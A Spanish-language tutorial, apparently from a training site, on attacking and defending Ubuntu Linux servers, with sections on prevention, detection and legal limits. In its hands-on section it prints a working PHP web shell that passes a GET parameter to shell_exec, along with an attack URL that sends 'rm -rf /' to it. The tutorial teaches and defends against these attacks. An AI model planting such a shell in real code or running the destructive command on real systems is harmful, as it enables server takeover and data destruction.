Tutorial de hacking en Linux: Ubuntu Comandos y herramientas

Linux es el sistema operativo de servidor más utilizado, especialmente para servidores web. Es de código abierto, lo que significa que cualquiera puede leer su código fuente. Esta transparencia tiene dos caras: los mantenedores la utilizan para encontrar y corregir fallos rápidamente, mientras que los atacantes estudian el mismo código en busca de vulnerabilidades que explotar. El hacking de Linux consiste en explotar esas vulnerabilidades para obtener acceso no autorizado a un sistema.

Las secciones siguientes cubren qué es Linux, las vulnerabilidades de seguridad que lo afectan y una mirada práctica al hacking con Linux. Ubuntuy las contramedidas que puede implementar.

Nota rápida sobre Linux

Linux es un sistema operativo de código abierto. Muchas distribuciones están construidas sobre él, incluyendo Red Hat Enterprise Linux, Fedora, Debian y UbuntuDado que el código fuente es público, investigadores, proveedores y atacantes pueden inspeccionarlo. Los atacantes utilizan este acceso para buscar vulnerabilidades explotables, mientras que la misma visibilidad permite a los mantenedores lanzar correcciones con mayor rapidez que en las plataformas cerradas. Linux funciona como sistema operativo para servidores, ordenadores de escritorio, tabletas y dispositivos móviles.

Los programas de Linux se pueden operar a través de una interfaz gráfica o desde la línea de comandos. El trabajo en la línea de comandos es más rápido y preciso que hacer clic a través de una GUI, razón por la cual los probadores de seguridad que trabajan en distribuciones como Kali Linux Pasan casi todo el tiempo en una terminal. Por lo tanto, conocer los comandos básicos es un requisito práctico indispensable.

Consulte esto Tutorial de Linux para los fundamentos y para el Kali Linux tutoriales para la distribución centrada en la seguridad construida sobre ellas.

Vulnerabilidades de seguridad y vectores de ataque comunes en Linux

Los ataques a Linux rara vez se basan en exploits exóticos. La telemetría publicada a lo largo de 2025 y 2026 muestra que la mayoría de las vulneraciones tracVolvemos a un pequeño conjunto de debilidades recurrentes, y conocerlas te indica dónde debes concentrar tus esfuerzos defensivos primero.

• Credenciales SSH débiles o reutilizadas — Los intentos de fuerza bruta y de relleno de credenciales contra SSH accesibles desde Internet representan la gran mayoría de la actividad hostil observada en los puntos finales de Linux.
• Fallos en el kernel y los paquetes sin parchear. — El equipo del kernel de Linux se convirtió en una Autoridad de Numeración de CVE en 2024, y los CVE del kernel reportados aumentaron de aproximadamente 290 en 2023 a más de 3,500 al año siguiente, por lo que la acumulación de parches pendientes se produce rápidamente.
• Mala configuración — Las cuentas predeterminadas, los demonios innecesarios, los archivos con permisos de escritura para todos los usuarios y las reglas permisivas de sudo otorgan privilegios que no requerían ninguna explotación para obtenerlos.
• Aplicaciones web vulnerables — fallas tales como inyección SQL Las vulnerabilidades de secuencias de comandos entre sitios (XSS) permiten que un atacante acceda al servidor a través de la aplicación en lugar del sistema operativo. Las shells web son el artefacto malicioso más común que se encuentra en servidores Linux comprometidos.
• Errores de escalada de privilegios — fallos locales que convierten una cuenta limitada en acceso de administrador. Algunos han permanecido sin ser detectados en el núcleo durante más de una década antes de ser revelados.
• Riesgo de la cadena de suministro y de la dependencia — Los paquetes de terceros, las bibliotecas de lenguaje y las imágenes de contenedor incorporan código que nadie del equipo operativo ha revisado.

Ninguna de estas vulnerabilidades requiere que el atacante desactive el propio Linux. Los análisis de 2025 intrusiones revelaron que aproximadamente cuatro de cada cinco no involucraban ningún tipo de malware, sino que se basaban en configuraciones incorrectas y credenciales robadas.

Herramientas de piratería de Linux

Los analistas de seguridad y los administradores de sistemas utilizan los mismos escáneres: unos para detectar vulnerabilidades antes de que lo haga un atacante, otros para confirmar que las correcciones funcionan. Las herramientas que se describen a continuación son las más utilizadas para auditar un servidor Linux.

La lista no es exhaustiva; ofrece una idea de las herramientas disponibles para la auditoría. Ubuntu y otros sistemas Linux. Las guías más antiguas todavía recomiendan SARA, el Asistente de Investigación del Auditor de Seguridad, pero su última versión data de 2009 y su sitio del proyecto está fuera de línea, por lo que Lynis y OpenVAS son las alternativas mantenidas.

Actividad de piratería: piratear un Ubuntu Sistema Linux usando PHP

En este escenario práctico, veremos cómo se puede acceder a un host Linux a través de una aplicación web, usando PHP como ejemplo. No se atacará a ninguna víctima real. Si quieres probarlo, instala LAMPP, la versión de XAMPP para Linux, en tu propio equipo.

PHP Incluye dos funciones que permiten ejecutar comandos del sistema operativo: exec() y shell_exec(). La función exec() devuelve la última línea de la salida del comando, mientras que shell_exec() devuelve el resultado completo del comando como una cadena de texto.

A modo de ejemplo, supongamos que un atacante logra subir el siguiente archivo a un servidor web.

<?php

$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l';

echo "executing shell command:-> $cmd</br>";

$output = shell_exec($cmd);

echo "<pre>$output</pre>";

?>

AQUÍ,

El script anterior obtiene el comando de la variable GET llamada cmd. El comando se ejecuta mediante shell_exec() y el resultado se muestra en el navegador.

El código anterior puede ser explotado utilizando lo siguiente: URL

http://localhost/cp/konsole.php?cmd=ls%20-l

AQUÍ,

• “…konsole.php?cmd=ls%20-l” asigna el valor ls –l a la variable cmd.

El comando en el Ubuntu Por lo tanto, el servidor se ejecuta como

shell_exec('ls -l') ;

Al ejecutar el código anterior en un servidor web se obtiene un resultado similar al siguiente.

El resultado simplemente muestra los archivos en el directorio actual y sus permisos.

Ahora supongamos que el atacante envía el siguiente comando.

rm -rf /

AQUÍ,

• “rm” elimina archivos.
• El comando “rf” hace que el comando rm se ejecute en modo recursivo, eliminando todas las carpetas y archivos.
• “/” indica al comando que comience a eliminar desde el directorio raíz.

El ataque URL Se vería algo así

http://localhost/cp/konsole.php?cmd=rm%20-rf%20/

Por lo tanto, un solo parámetro no validado basta para que un atacante obtenga todos los privilegios de la cuenta del servidor web. Las dos secciones siguientes tienen como objetivo evitar que esto suceda y detectarlo cuando la prevención falla.

Cómo prevenir ataques informáticos en Linux

El hacking de Linux aprovecha las vulnerabilidades del sistema operativo y del software que se ejecuta sobre él. Una organización puede adoptar los siguientes controles, aplicados en conjunto, para cerrar la mayoría de las brechas de seguridad descritas anteriormente.

• Gestión de parches — Los parches corrigen los errores que los atacantes aprovechan para comprometer un sistema. Una política definida garantiza que las actualizaciones pertinentes se apliquen con prontitud, en lugar de cuando alguien se acuerda.
• Configuración adecuada del sistema operativo — Deshabilita las cuentas de usuario inactivas y los demonios innecesarios. Cambia la configuración predeterminada, incluidos los nombres de usuario predeterminados, las contraseñas de aplicaciones compartidas y los números de puerto predeterminados.
• Refuerzo de SSH — Deshabilitar el inicio de sesión de root y la autenticación por contraseña, permitir solo usuarios o grupos con nombre y limitar los reintentos de autenticación. Esto cierra el punto de entrada más atacado en Linux.
• Privilegios mínimos — Otorgar a las cuentas y servicios solo los derechos que necesitan, y restringir el uso de sudo a comandos específicos en lugar de conceder acceso administrativo generalizado.
• Control de acceso obligatorio — mantener SELinux (familia Red Hat) o AppArmor (Debian y Ubuntu) en modo de aplicación para que un servicio comprometido no pueda acceder al resto del sistema.
• Validación de entrada — La demostración anterior solo funciona porque los datos de la solicitud llegan a una función de shell. Nunca pase la entrada del usuario a exec() ni a shell_exec().
• Cortafuegos y segmentación — exponga solo los puertos que un servicio realmente necesita, utilizando un cortafuegos y la segmentación de la red para limitar el alcance al que puede acceder un host comprometido.
• Sistema de deteccion de intrusos — Estas herramientas pueden utilizarse para detectar accesos no autorizados al sistema, y ​​algunas incluso pueden bloquear el intento.
• Copias de seguridad probadas — Las copias de seguridad sin conexión y restaurables convierten un comando destructivo como el anterior en una interrupción del servicio en lugar de una pérdida permanente.

Cómo detectar un sistema Linux comprometido

La prevención acaba fallando, así que la segunda pregunta es con qué rapidez se detectaría un problema. La detección en Linux depende de recopilar las pruebas adecuadas antes de que ocurra un incidente, no después.

• Registro de auditoría — El marco de auditoría del kernel, auditd, registra el uso de privilegios, el acceso a archivos y las llamadas al sistema de forma que un proceso comprometido no pueda modificarlos silenciosamente. Estos registros se envían desde el host a un recolector central.
• Registros de autenticación — Una serie de fallos seguidos de un único éxito en /var/log/auth.log o /var/log/secure es la clásica señal de un ataque de fuerza bruta.
• Procesos y conexiones inesperadas — Un servicio de escucha o una conexión saliente cuyo origen se desconoce merece una investigación inmediata.
• Monitoreo de integridad de archivos — herramientas que generan hashes de los binarios del sistema y los archivos de configuración para detectar cambios en archivos que nunca deberían modificarse.
• Tareas programadas y elementos de inicio — La persistencia suele implementarse mediante tareas programadas (cron jobs), unidades de systemd o scripts de perfil de shell.
• Cuentas nuevas o modificadas — Busque usuarios desconocidos, cualquier segunda cuenta con UID 0 y claves SSH que nadie haya añadido.
• Directorios de servidores web Dado que los shells web son el tipo de archivo malicioso más común que se encuentra en los servidores Linux, los archivos de script inesperados que se encuentran en la raíz web merecen especial atención.
• Auditorías programadas — Ejecute una herramienta de auditoría de host como Lynis de forma programada y trate cada informe como una lista de tareas en lugar de un ejercicio puntual.

Si encuentra evidencia de una vulneración, aísle el host, conserve los registros y una imagen del disco antes de realizar cualquier cambio, y reconstruya a partir de un medio que se sabe que funciona correctamente en lugar de intentar limpiar un sistema en funcionamiento. El manejo de la evidencia en este trabajo se aborda en forense digital.

Límites legales y éticos del hacking en Linux

Todas las técnicas descritas en esta página son legales para practicar en sistemas de su propiedad o para los que tenga autorización por escrito para realizar pruebas, y son ilegales en casi cualquier otro lugar. El ejercicio anterior se ejecuta deliberadamente en una instalación local precisamente por ese motivo.

• Autorización por escrito — Un alcance firmado, un período de prueba acordado y un contacto designado son lo que distingue una prueba de penetración de un ataque. La aprobación verbal no es suficiente.
• Mantente dentro del alcance — No se permiten hosts, rangos de direcciones ni técnicas que no figuren en la lista, incluso si son accesibles.
• Maneje los datos con cuidado — Las pruebas recabadas durante una prueba aún contienen datos personales reales y deben almacenarse de forma segura y destruirse posteriormente.
• Reportar responsablemente — comunicar los hallazgos al propietario y concederle tiempo para que se solucione antes de publicar nada.

La exposición legal es real: el acceso no autorizado a un sistema informático es un delito penal según leyes como la Ley de Fraude y Abuso Informático de EE. UU. y la Ley de Mal Uso Informático del Reino Unido. Si quieres construir una carrera sobre estas habilidades, toma una ruta reconocida: una certificación de seguridad Además, tendrás un laboratorio de tu propiedad, en lugar de usar el servidor de otra persona.

Preguntas Frecuentes